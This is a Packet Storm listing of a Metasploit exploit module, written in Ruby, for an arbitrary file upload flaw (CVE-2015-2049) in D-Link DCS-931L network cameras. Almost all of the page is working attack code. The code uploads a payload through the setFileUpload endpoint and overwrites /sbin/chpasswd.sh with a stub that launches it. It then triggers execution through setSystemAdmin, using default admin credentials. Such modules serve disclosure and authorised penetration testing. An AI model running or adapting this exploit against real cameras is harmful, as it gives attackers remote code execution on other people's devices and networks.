Lucene search

K
packetstormBrendan ColesPACKETSTORM:135152
HistoryJan 06, 2016 - 12:00 a.m.

D-Link DCS-931L Arbitrary File Upload

2016-01-0600:00:00
Brendan Coles
packetstormsecurity.com
20

0.567 Medium

EPSS

Percentile

97.7%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
HttpFingerprint = { :pattern => [ /alphapd/ ] }  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link DCS-931L File Upload',  
'Description' => %q{  
This module exploits a file upload vulnerability in D-Link DCS-931L  
network cameras. The setFileUpload functionality allows authenticated  
users to upload files to anywhere on the file system, allowing system  
files to be overwritten, resulting in execution of arbitrary commands.  
This module has been tested successfully on a D-Link DCS-931L with  
firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21).  
D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly  
affected, but untested.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security  
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit  
],  
'Payload' =>  
{  
'Space' => 1024, # File upload  
'DisableNops' => true  
},  
'Platform' => 'linux',  
'Privileged' => false,  
'Targets' =>  
[  
[ 'Linux mipsle Payload',  
{  
'Arch' => ARCH_MIPSLE,  
'Platform' => 'linux'  
}  
]  
],  
'DefaultTarget' => 0,  
'References' =>  
[  
[ 'CVE', '2015-2049' ],  
[ 'URL', 'https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities' ],  
[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049' ] # Vendor advisory  
],  
'DisclosureDate' => 'Feb 23 2015'))  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'Camera username', 'admin']),  
OptString.new('PASSWORD', [false, 'Camera password (default: blank)', ''])  
], self.class)  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri('uploadfile.htm'),  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']  
))  
  
unless res  
vprint_status("#{peer} - The connection timed out.")  
return Exploit::CheckCode::Unknown  
end  
  
if res.code && res.code == 404  
vprint_status("#{peer} - uploadfile.htm does not exist")  
return Exploit::CheckCode::Safe  
elsif res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS\-931L"/  
vprint_error("#{peer} - Authentication failed")  
return Exploit::CheckCode::Detected  
elsif res.code && res.code == 200 && res.body && res.body =~ /Upload File/  
return Exploit::CheckCode::Vulnerable  
end  
Exploit::CheckCode::Safe  
end  
  
def exploit  
payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}"  
  
# upload payload  
res = upload(payload_path, generate_payload_exe)  
  
unless res  
fail_with(Failure::Unreachable, "#{peer} - Connection failed")  
end  
  
if res.code && res.code == 404  
fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")  
elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/  
print_good("#{peer} - Payload uploaded successfully")  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload")  
end  
register_file_for_cleanup(payload_path)  
  
# overwrite /sbin/chpasswd.sh with stub  
res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n")  
  
unless res  
fail_with(Failure::Unreachable, "#{peer} - Connection failed")  
end  
  
if res.code && res.code == 404  
fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")  
elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/  
print_good("#{peer} - Stager uploaded successfully")  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager")  
end  
  
# execute payload using stub  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri('setSystemAdmin'),  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'vars_post' => Hash[{  
'ReplySuccessPage' => 'advanced.htm',  
'ReplyErrorPage' => 'errradv.htm',  
'ConfigSystemAdmin' => 'Apply'  
}.to_a.shuffle])  
  
unless res  
fail_with(Failure::Unreachable, "#{peer} - Connection failed")  
end  
  
if res.code && res.code == 401  
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")  
elsif res.code && res.code == 200 && res.body  
print_good("#{peer} - Payload executed successfully")  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed")  
end  
end  
  
#  
# Replace chpasswd.sh with original contents  
#  
def cleanup  
chpasswd = <<-EOF  
#!/bin/sh  
#  
# $Id: chpasswd.sh, v1.00 2009-11-05 andy  
#  
# usage: chpasswd.sh <user name> [<password>]  
#  
  
if [ "$1" == "" ]; then  
echo "chpasswd: no user name"  
exit 1  
fi  
  
echo "$1:$2" > /tmp/tmpchpw  
chpasswd < /tmp/tmpchpw  
rm -f /tmp/tmpchpw  
EOF  
res = upload('/sbin/chpasswd.sh', chpasswd)  
if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/  
vprint_good("#{peer} - Restored /sbin/chpasswd.sh successfully")  
else  
vprint_warning("#{peer} - Could not restore /sbin/chpasswd.sh to default")  
end  
end  
  
#  
# Upload a file to a specified path  
#  
def upload(path, data)  
vprint_status("#{peer} - Writing #{data.length} bytes to #{path}")  
  
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"  
post_data = "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n"  
post_data << "\r\nreplyuf.htm\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n"  
post_data << "\r\nreplyuf.htm\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n"  
post_data << "\r\n#{path}\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n"  
post_data << "Content-Type: application/octet-stream\r\n"  
post_data << "\r\n#{data}\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n"  
post_data << "\r\nUpload File\r\n"  
post_data << "--#{boundary}\r\n"  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri('setFileUpload'),  
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => post_data)  
end  
end  
`

0.567 Medium

EPSS

Percentile

97.7%

Related for PACKETSTORM:135152